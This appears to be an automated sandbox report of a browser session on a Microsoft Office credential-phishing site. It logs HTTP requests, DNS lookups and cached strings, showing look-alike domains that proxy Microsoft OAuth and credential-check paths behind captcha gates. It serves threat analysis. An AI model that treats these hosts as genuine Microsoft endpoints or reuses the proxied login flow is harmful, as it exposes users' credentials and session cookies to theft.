Source: global traffic	HTTP traffic detected: GET /checksiteconfig?v=41c61f4f356516806017107484a3b43e62b92b84&host=office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1Host: api2.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cflb=0H28vk2VKwPbLoawFincekpozDKK5F2cj5oxWnXG4Vs
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/902675a0487a1a24/1736950335263/5904c1f87b3e3d5c1d222ac338a7f526c432b394bc839c89ff3f035cc63903e0/8kktmGa_7afnkD6 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mQlruOEx?R=5GXlEIo HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; fpc=AgMjZ0Gnd0VPvyNLfK9u4tA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEzdN_v1k9Ynxm1HszYIp_zI4DbpxFYNylnftSsKAl2ZpBM0e_khqhPr47qtg5oEdS8Md4mRzYFeKTg8bADBDDd_h8QuJXPJiBeCNnDocOyvMtldo5Xsx5fvS_2oTn4qjk334_xg8U1GRkTnNhawdRL2F16dm34dnyZhCtCgJxAxcgAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; fpc=AgMjZ0Gnd0VPvyNLfK9u4tA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEzdN_v1k9Ynxm1HszYIp_zI4DbpxFYNylnftSsKAl2ZpBM0e_khqhPr47qtg5oEdS8Md4mRzYFeKTg8bADBDDd_h8QuJXPJiBeCNnDocOyvMtldo5Xsx5fvS_2oTn4qjk334_xg8U1GRkTnNhawdRL2F16dm34dnyZhCtCgJxAxcgAA; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; uaid=60c562cf44e54f3386637ad181601937; MSPRequ=id=N&lt=1736950353&co=1
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AWAAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABgAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEpxt7Zz-ve8ehsMS3q-VJzHocwvuYgR9JC0pudvwE6CDIBJT0QqJPvegAJvm5TsAyHqFxn8tVb6nlLtrPVdHb1eTrlbgOBFQp30FNzKzn6l8gAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEHNY1KArCl-3hDX0o6fpkc1at2E72m0pCap4njSPngUz32UbcDmy9L1MR6xT7D7UA6NtXUbn4QM1d8P6aO_idGCxdKe7xJbXrbm5_W6yUw48VrF7BZfJ0FNI-JsmvSHQ5Tdim_RNhb816XwZuVcXq9je0Gz5zeEz8FD86h5i-7QEgAA; esctx-97yw6vWMQE8=AQABCQEAAABVrSpeuWamRam2jAF1XRQE8Q1-xXP3cQEs78HV1zDaFQI2yIyvIkwUJhMWHruKH4HYS6pJ0gX4lGPda8Goas_3jmKb2FeBTXe628BKrw2x_qQxk5m9KrL_uZvjt8LLbbHP8GRnMiVXIJHS691n25uNy6mc4vtzgQgsWi0OcZB0dCAA; fpc=AgMjZ0Gnd0VPvyNLfK9u4tC8Ae7AAQAAAFC5Gd8OAAAA; MicrosoftApplicationsTelemetryDeviceId=9aa0cb1f-241d-4548-9df6-06ba709eca76; brcap=0; ai_session=ouCiZWVIWSHLNukIkrlwED\|1736950357183\|1736950357183; MSFPC=GUID=bbf508cb1f31445f99010d7142bf7c78&HASH=bbf5&LV=202501&V=4&LU=1736950361824

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com
Source: global traffic	DNS traffic detected: DNS query: upload.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net
Source: global traffic	DNS traffic detected: DNS query: content.powerapps.com
Source: global traffic	DNS traffic detected: DNS query: ugbllcgroupsec.info
Source: global traffic	DNS traffic detected: DNS query: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: js.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: newassets.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: api2.hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info

Source: unknown

HTTP traffic detected: POST /checksiteconfig?v=41c61f4f356516806017107484a3b43e62b92b84&host=office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1Host: api2.hcaptcha.comConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: text/plainsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://newassets.hcaptcha.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://newassets.hcaptcha.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Found

Source: chromecache_184.3.dr, chromecache_169.3.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_200.3.dr	String found in binary or memory: http://getbootstrap.com)
Source: chromecache_204.3.dr, chromecache_129.3.dr, chromecache_213.3.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_213.3.dr	String found in binary or memory: http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://malsup.com/jquery/form/
Source: chromecache_204.3.dr, chromecache_129.3.dr	String found in binary or memory: http://medialize.github.io/URI.js
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://timeago.yarp.com/
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://www.coolite.com/
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://www.coolite.com/).
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://www.datejs.com/
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://www.datejs.com/license/.
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_211.3.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/controls
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/controls/host/main.04a618205e.chunk.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/app.BootstrapV5.bundle-3c181c74ce.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f5
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry.bundle-ecbf4ab0d0.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e6
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/font-awesome.BootstrapV5.bundle-2ce6efb4
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pcf-dependency.bundle-805a1661b7.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pcf-extended.bundle-e303d53553.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pcf-loader.bundle-f4a0e619b8.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pcf-style.bundle-2659c6f064.css
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pcf.bundle-9183da3d63.js
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a9149
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.bundle-8c396f163b.cs
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/dist/pwa-style.bundle-2739c60227.css
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/img/close.png
Source: chromecache_220.3.dr	String found in binary or memory: https://content.powerapps.com/resource/powerappsportal/img/web.png
Source: chromecache_252.3.dr, chromecache_139.3.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver/PerformanceObserver
Source: chromecache_252.3.dr, chromecache_139.3.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/PerformanceResourceTiming
Source: chromecache_133.3.dr	String found in binary or memory: https://fb.me/react-polyfills
Source: chromecache_206.3.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_206.3.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_250.3.dr, chromecache_224.3.dr, chromecache_174.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_204.3.dr, chromecache_129.3.dr	String found in binary or memory: https://github.com/Eonasdan/bootstrap-datetimepicker
Source: chromecache_213.3.dr	String found in binary or memory: https://github.com/Eonasdan/bootstrap-datetimepicker/
Source: chromecache_252.3.dr, chromecache_139.3.dr	String found in binary or memory: https://github.com/Microsoft/ApplicationInsights-JS#example-setting-cloud-role-name
Source: chromecache_178.3.dr, chromecache_173.3.dr	String found in binary or memory: https://github.com/gjunge/rateit.js
Source: chromecache_134.3.dr, chromecache_160.3.dr	String found in binary or memory: https://github.com/malsup/form
Source: chromecache_168.3.dr, chromecache_143.3.dr	String found in binary or memory: https://github.com/pmndrs/zustand/discussions/1937
Source: chromecache_250.3.dr, chromecache_224.3.dr, chromecache_174.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_200.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_224.3.dr, chromecache_174.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_185.3.dr, chromecache_212.3.dr, chromecache_137.3.dr	String found in binary or memory: https://hcaptcha.com/license
Source: chromecache_241.3.dr, chromecache_157.3.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_241.3.dr, chromecache_157.3.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_241.3.dr, chromecache_157.3.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_211.3.dr	String found in binary or memory: https://js.hcaptcha.com/1/api.js
Source: chromecache_218.3.dr, chromecache_231.3.dr	String found in binary or memory: https://login.windows-ppe.net
